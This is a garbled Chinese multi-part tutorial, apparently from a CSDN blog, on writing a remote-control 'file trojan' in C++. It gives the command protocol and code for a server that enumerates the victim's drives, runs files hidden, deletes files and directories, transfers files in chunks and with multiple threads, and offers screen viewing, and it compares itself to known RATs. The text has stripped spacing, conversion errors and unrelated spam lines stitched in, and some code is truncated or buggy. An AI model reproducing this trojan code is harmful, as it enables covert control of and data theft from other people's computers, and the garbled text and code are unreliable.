PAGE/NUMPAGESHYPERLINK"://blog.csdn.net/zhengkangchen/article/details/3942235"\o"c++实现文件传输之一:框架结构和界面实现"c++实现文件传输之一:框架结构和界面实现在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马〞其实现效果如下图。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为根底实现详细的功能。实现:枚举磁盘,枚举目录,获取文件信息上传文件,下载文件,执行文件,创建目录,删除目录等传输控制结构要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读首先对要使用的命令进展预定义其各个命令定义如下#defineGetDriver0x01//磁盘信息#defineGetDirInfo0x02//目录信息#defineExecFile0x03//执行文件#defineGetFile0x04//下载文件#definePutFile0x05//上传文件#defineDelFile0x06//删除文件#defineDelDir0x07//删除目录#defineCreateDir0x08//创建目录#defineFileInfo0x09//文件信息#defineGetScreen0x10//查看屏幕在程序的网络通信中主要有操作命令,命令对像,和具体数据三局部,对于命令的传输定义如下结构typedefstruct{intID;//操作命令BYTElparam[BUF_LEN*2];//命令对像}COMMAND;因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构typedefstruct {charFileName[MAX_PATH];//文件名称intFileLen;//文件长度charTime[50];//时间信息BOOLIsDir;//为目录否BOOLError;//错误信息HICONhIcon;//图标句柄}FILEINFO;服务端结构服务端还是比拟简单的其整体思路如下1.服务端循环承受连接,并把连接交给线程处理2.线程承受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数3.函数执行指定功能,并返回执行结果对整体结构的描述,我们用伪代码
表
关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf
述如下main(){/*初示化设置......*/while(true){if(client=accept(server,(sockaddr*)&clientaddr,&len))//循环承受连接{CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理}}/*清理释放资源......*/WSACleanup();}服务端程序运行后循环承受连接,如果有新的连接就传递给新的线程处理,线程代码如下DWORDWINAPISLisen(LPVOIDlparam){SOCKETclient=(SOCKET)lparam;COMMANDcommand;while(1){if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//承受命令数据{cout<<"TheClinetSocketisClosed/n";break;}else{switch(command.ID)//判断命令ID{caseGetDriver://将命令对像和SOCKET句柄传递给处理函数 GetDriverProc(command,client); break;caseDelFile: DelFileProc(command,client); break;/*其它命令......*/}}}}线程式的功能是承受客户端的"命令数据",并跟跟据命令ID将命令对像传递给处理函数,由函数完成指定的功能以删除文件命令为例其函数格式如下DWORDDelFileProc(COMMANDcommand,SOCKETclient){if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径{send(client,"删除失败...");}else{send(client,"删除成功...");}}很容易看出,处理函数承受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去....客户端结构客户端结构的实现思路如下1.跟服务端建立连接2.发送用户命令3.启动一个线程,用于承受服务端的返回信息对整体结构的描述,我们用伪代码表述如下voidCMyDlg::OnConnect(){ if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接....{return;}CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//创建线程用于承受SERVER返回信息}对于用户发送的命令我们仍以删除文件为例说明其代码如下voidCMyDlg::OnMenuDelFile() {HTREEITEMCurrentNode= m_tree.GetSelectedItem();//取得选择的节点CStringFullPath=GetFullPath(CurrentNode);//取得节点全目录COMMANDcommand;command.ID=DelFile;//设置命令为删除文件//删除文件command.lparam=FullPath.LockBuffer());//将路径参加命令对像send(server,command);}用于承受SERVER返回信息的线程,和服务端承受命令线程相似,这里就不再说明了,有兴趣可以看下源代码到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.界面实现程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree和列表控件m_list分别用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性DWORDdwStyle=GetWindowLong(m_tree.m_hWnd,GWL_STYLE);dwStyle|=TVS_HASBUTTONS|TVS_HASLINES|TVS_LINESATROOT;SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);对于列表框控件那么没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICONVC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:1.在对话框属性中设置Styles的Border属性为Thin2.选重MoreStyles"可见"属性3.选重ExtendedStyles的"静态边"属性这样再运行一下程序是不是感觉清新不少?到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现HYPERLINK"://blog.csdn.net/zhengkangchen/article/details/3942250"\o"c++实现文件传输之二"c++实现文件传输之二在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括1.获取磁盘信息2.获取目录信息3.获取文件信息4.运行指定文件5.删除指定文件6.删除指定目录7.创建指定目录8.上传下载文件9.获取远程文件图标获取磁盘信息磁盘信息可以用APIGetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下DWORDGetDriverProc(COMMANDcommand,SOCKETclient){for(chari='A';i<='Z';i++){charx[20]={i,':'};UINTType=GetDriveType(x);if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM){/*返回处理结果...*/}}return0;}GetDriveType可能返回的结果如下#defineDRIVE_UNKNOWN 0//无效路径名#defineDRIVE_NO_ROOT_DIR 1//无效路经,如无法找到的卷标#defineDRIVE_REMOVABLE2//可移动驱动器#defineDRIVE_FIXED 3//固定的驱动器#defineDRIVE_REMOTE 4//网络驱动器#defineDRIVE_CDROM 5//CD-ROM#defineDRIVE_RAMDISK 6//随机存取(RAM)磁盘在上面的实例代码中我们只取,硬盘,光驱和移动磁盘获取目录信息这里只要枚举用户指定的目录就可以了,其实例代码如下:DWORDGetDirInfoProc(COMMANDcommand,SOCKETclient){/*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/FILEINFOfi;memset((char*)&fi,0,sizeof(fi));strcat((char*)command.lparam,"*.*");//枚举所有文件CFileFindfile;BOOLbContinue=file.FindFile((char*)command.lparam);while(bContinue){memset((char*)&fi,0,sizeof(fi));bContinue=file.FindNextFile();if(file.IsDirectory())//为目录{fi.IsDir=true;}strcpy(fi.FileName,file.GetFileName().LockBuffer());//保存文件名称if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR){cout<<"SendDirisError/n";}}return0;}获取文件信息以下实例代码用来获取文件的名称,路径,时间,属性等信息DWORDFileInfoProc(COMMANDcommand,SOCKETclient){/*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/FILEINFOfi;HANDLEhFile;WIN32_FIND_DATAWFD;memset((char*)&WFD,0,sizeof(WFD));if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_VALUE)//查看文件属性{fi.Error=true;return0;}//得到文件的相关信息SHGetFileInfo(WFD.cFileName, FILE_ATTRIBUTE_NORMAL,&shfi,sizeof(shfi),SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME);strcpy(fi.FileName,(char*)command.lparam);//文件路径FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024;//文件长度fi.FileLen=FileLen;//转化格林时间到本地时间FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime);FileTimeToSystemTime(&localtime,&systime);//文件修改时间sprintf(stime,"%4d-%02d-%02d%02d:%02d:%02d",systime.wYear,systime.wMonth,systime.wDay,systime.wHour,systime.wMinute,systime.wSecond);if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN){/*隐藏文件...*/}elseif(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY){ /*只读文件...*/}send(client,(char*)&fi,sizeof(fi),0);FindClose(hFile);return0;}运行指定文件运行文件有以下几种方法1.WinExec2.ShellExecute3.CreateProcess这里使用的是ShellExecute其实例代码如下DWORDExecFileProc(COMMANDcommand,SOCKETclient){/*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/COMMAND cmd;memset((char*)&cmd,0,sizeof(cmd));cmd.ID=ExecFile;if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)<(HINSTANCE)32){strcpy((char*)cmd.lparam,"文件执行失败!");send(client,(char*)&cmd,sizeof(cmd),0);}else{strcpy((char*)cmd.lparam,"文件执行成功!");send(client,(char*)&cmd,sizeof(cmd),0);}return0;}API函数ShellExecute原形为: HINSTANCEShellExecute( HWNDhwnd, //窗口句柄 LPCTSTRlpOperation,//操作类型 LPCTSTRlpFile, //文件指针 LPCTSTRlpParameters, //文件参数 LPCTSTRlpDirectory,//缺省目录 INTnShowCmd //显示方式 ); 这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难只要指定lpParameters为执行参数就可了删除指定文件DWORDDelFileProc(COMMANDcommand,SOCKETclient){/*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/COMMAND cmd;memset((char*)&cmd,0,sizeof(cmd));cmd.ID=DelFile;SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL);//去掉文件的系统和隐藏属性if(DeleteFile((char*)command.lparam)==0){strcpy((char*)cmd.lparam,"文件删除失败!");send(client,(char*)&cmd,sizeof(cmd),0);}else{strcpy((char*)cmd.lparam,"文件删除成功!");send(client,(char*)&cmd,sizeof(cmd),0);}return0;}需要注意的是在DeleteFile前应该去文件的系统和隐藏属性,否那么会删除失败删除目录可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码BOOLDeleteDirectory(char*DirName){CFileFindtempFind;chartempFileFind[200];sprintf(tempFileFind,"%s*.*",DirName);BOOLIsFinded=(BOOL)tempFind.FindFile(tempFileFind);while(IsFinded){ IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots()) { charfoundFileName[200]; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200)); if(tempFind.IsDirectory()) { chartempDir[200]; sprintf(tempDir,"%s//%s",DirName,foundFileName); DeleteDirectory(tempDir); } else { chartempFileName[200]; sprintf(tempFileName,"%s//%s",DirName,foundFileName);SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL);//去掉文件的系统和隐藏属性 DeleteFile(tempFileName);cout<<"nowdelete"<
论文
政研论文下载论文大学下载论文大学下载关于长拳的论文浙大论文封面下载
件的传输方法小文件的传输相比照拟简单可按以下方法进展1.首先发送文件长度和名称2.跟据文件长度建立缓冲区3.读取整个文件到缓冲区4.发送缓冲区里的容其实现代码如下:CFilefile;FILEINFOfileinfo;if(file.Open(path,CFile::modeRead|CFile::typeBinary)){fileinfo.FileLen=file.GetLength();//文件长度strcpy(fileinfo.FileName,file.GetFileName());//文件名称send(client,(char*)&fileinfo,sizeof(fileinfo),0);//发送长度和名称char*date=newchar[fileinfo.FileLen];//分配和文件长度一样的缓冲区intnLeft=fileinfo.FileLen;intidx=0;file.Read(date,fileinfo.FileLen);//读整个文件到缓冲区while(nLeft>0){intret=send(client,&date[idx],nLeft,0);//发送文件if(ret==SOCKET_ERROR){break;}nLeft-=ret;idx+=ret;}file.Close();delete[]date;}跟据上面的实例相信大家可以领悟到文件传输的根本原理和方法,虽然很简单但用它传输小文件还是非常实用的大文件传输方法用上面的方法传输小文件还可以,但是大文件呢?比如一个500M的电影.上面的方法就会力不从心了因为按思路要创建一个跟文件大小一样的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用分块文件传输,所谓分块是指把大文件分成假设干小文件,然后传输,比如设定每块大小为64KB其思路如下1.取得文件长度和名称2.跟据长度/64KB计算文件块数3.分配64KB缓冲区4.读文件到缓冲区5.发送缓冲的数据6.重复4,5两步直到发完所有数据其实现代码如下:#defineCHUNK_SIZE(64*1024)//分为64K块传输DWORD GetFileProc(COMMANDcommand,SOCKETclient){/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET句柄*/COMMAND cmd;FILEINFOfi;memset((char*)&fi,0,sizeof(fi));memset((char*)&cmd,0,sizeof(cmd));cmd.ID=GetFile;CFilefile;intnChunkCount=0;//文件块数if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary))//打开文件{intFileLen=file.GetLength();//取文件长度fi.FileLen=file.GetLength();strcpy((char*)fi.FileName,file.GetFileName());//取文件名称memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));send(client,(char*)&cmd,sizeof(cmd),0);//发送文件名称和长度nChunkCount=FileLen/CHUNK_SIZE;//文件块数if(FileLen%nChunkCount!=0)nChunkCount++;char*date=newchar[CHUNK_SIZE];//创建数据缓冲区for(inti=0;i0){intret=send(client,&date[idx],nLeft,0);//发送文件if(ret==SOCKET_ERROR){break;}nLeft-=ret;idx+=ret;}}file.Close();delete[]date;}return0;}这样文件传输局部就完成了,止于客户端的实现于上面代码其本一样,只是由读文件变为写文件,详细请参考源代码获取远程ICO文件图标我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的猛假设RADMIN黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有......我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果本机装有WINRAR那么就可以识别.RAR的文件图示,否那么就无法识别...实现方法CImageListm_ImageList;m_ImageList.Create(32,32,ILC_COLOR32,10,30);//创建图示m_list.SetImageList(&m_ImageList,LVSIL_NORMAL);//与列表控件相关连SHFILEINFOinfo;memset((char*)&info,0,sizeof(info));SHGetFileInfo(fi->FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES);//关键所在inti=m_ImageList.Add(info.hIcon);m_list.InsertItem(i,fi->FileName,i);原来我试图在Server端通过上面的代码把info.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不一样的所以直接导致的结果就是:什么也显示不出来.... HYPERLINK"://blog.csdn.net/zhengkangchen/article/details/3942252"\o"c++实现文件传输之三:断点续传与多线程传输转"c++实现文件传输之三:断点续传与多线程传输转继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现多线程传输实现实现原理将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M......最后合并5个线程文件.实现流程1.客户端向服务端请求文件信息(名称,长度)2.客户端跟据文件长度开辟N个线程连接服务端3.服务端开辟新的线程与客户端通信并传输文件4.客户端将每线程数据保存到一个文件5.合并所有线程文件编码实现大体说来就是按以上步骤进展,详细的实现和一些要点,我们跟据以上流程在编码中实现结构定义在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构 代码:typedefstruct{ char Name[100]; //文件名称 int FileLen; //文件长度 int CMD; //操作指令 int seek; //线程开始位置 SOCKETsockid; }FILEINFO;1.请求文件信息客户端代码如下 代码: FILEINFOfi; memset((char*)&fi,0,sizeof(fi)); fi.CMD=1; //得到文件信息 if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR) { cout<<"SendGetFileInfoError/n"; }服务端代码如下 while(true) { SOCKETclient; if(client=accept(server,(sockaddr*)&clientaddr,&len)) { FILEINFORecvFileInfo; memset((char*)&RecvFileInfo,0,sizeof(RecvFileInfo)); if(recv(client,(char*)&RecvFileInfo,sizeof(RecvFileInfo),0)==SOCKET_ERROR) { cout<<"TheClinetSocketisClosed/n"; break; }else { EnterCriticalSection(&CS); //进入临界区 memcpy((char*)&TempFileInfo,(char*)&RecvFileInfo,sizeof(RecvFileInfo)); switch(TempFileInfo.CMD) { case1: GetInfoProc (client); break; case2: TempFileInfo.sockid=client; CreateThread(NULL,NULL,GetFileProc,NULL,NULL,NULL); break; } LeaveCriticalSection(&CS); //离开临界区 } } }在这里服务端循环承受连接,并跟据TempFileInfo.CMD来判断客户端的请求类型,1为请求文件信息,2为下载文件因为在下载文件的请求中,需要开辟新的线程,并传递文件偏移和文件大小等信息,所以需要对线程同步.这里使用临界区其文件信息函数GetInfoProc代码如下 代码:DWORDGetInfoProc(SOCKETclient){ CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) { intFileLen=file.GetLength(); if(send(client,(char*)&FileLen,sizeof(FileLen),0)==SOCKET_ERROR) { cout<<"SendFileLenError/n"; }else { cout<<"TheFilelenis"<0) { intret=send(client,&date[idx],nLeft,0); if(ret==SOCKET_ERROR) { cout<<"SendDateError/n"; break; } nLeft-=ret; idx+=ret; } file.Close(); delete[]date; }else { cout<<"openthefileerror/n"; } closesocket(client); return0;}还是比拟简单的,主要是获取线程的文件长度和偏移,并移动文件指针到偏移处,最后读取发送数据,而客户端承受数据并写入文件.4.客户端将线程数据保存到文件GetFileThread的实现代码如下 代码:DWORDWINAPIGetFileThread(LPVOIDlparam){ charTempName[MAX_PATH]; sprintf(TempName,"TempFile%d",*(DWORD*)lparam); //每线程的文件名为"TempName"+线程数 SOCKETclient; SOCKADDR_INserveraddr; intport=5555; client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family=AF_INET; serveraddr.sin_port=htons(port); serveraddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); if(connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr))==INVALID_SOCKET) { cout<<"ConnectServerError/n"; } EnterCriticalSection(&CS); //进入临界区 if(send(client,(char*)&FI,sizeof(FI),0)==SOCKET_ERROR) { cout<<"SendGetFileError/n"; return0; } CFile file; intFileLen=FI.FileLen; //文件长度 intSeek=FI.seek; //文件偏移 LeaveCriticalSection(&CS); //离开临界区 if(file.Open(TempName,CFile::modeWrite|CFile::typeBinary|CFile::modeCreate)) { char*date=newchar[FileLen]; intnLeft=FileLen; intidx=0; while(nLeft>0) { intret=recv(client,&date[idx],nLeft,0); if(ret==SOCKET_ERROR) { cout<<"RecvDateError"; break; } idx+=ret; nLeft-=ret; } file.Write(date,FileLen); file.Close(); delete[]date; }else { cout<<"CreateFileError/n"; } return0;}在此线程函数中,将每线程传输的数据存为一个文件,文件名为"TempName"+线程数,只所以存成单独的文件是因为比拟直观且容易理解,但如果文件很大的话这个方法并不好,因为合并文件又会花费很多时间,另一个方法是创始一个文件,让每个线程写入文件的不同偏移,这样就可以不必单独合并文件了,但要记得打开文件时参加CFile::shareDenyNone属性.这样整个过程就完成了.最后一步合并线程文件5.合并线程文件 代码:intUniteFile() //合并线程文件{ cout<<"NowisUniteFileing.../n"; int len; char *date; CFile file; CFile file0; /*其它文件......*/ if(file.Open(FileName,CFile::modeCreate|CFile::typeBinary|CFile::modeWrite))//创建文件 { file0.Open("TempFile0",CFile::modeRead|CFile::typeBinary);//合并第一线程文件 len=file0.GetLength(); date=newchar[len]; file0.Read(date,len); file.SeekToEnd(); file.Write(date,len); file1.Open("TempFile1",CFile::modeRead|CFile::typeBinary);//合并第二线程文件 len=file1.GetLength(); date=newchar[len]; file1.Read(date,len); file.SeekToEnd(); file.Write(date,len); /*合并其它线程......*/ file0.Close(); file1.Close(); /*.......*/ delete[]date; returntrue; }else { returnfalse; }}这个简单,就是打开一个文件读取到缓冲区,写入文件,再打开第二个......现在多线程传输局部就介绍完了下面讨论断断点续传的实现HYPERLINK"://blog.csdn.net/zhengkangchen/article/details/3942265"\o"c++实现文件传输之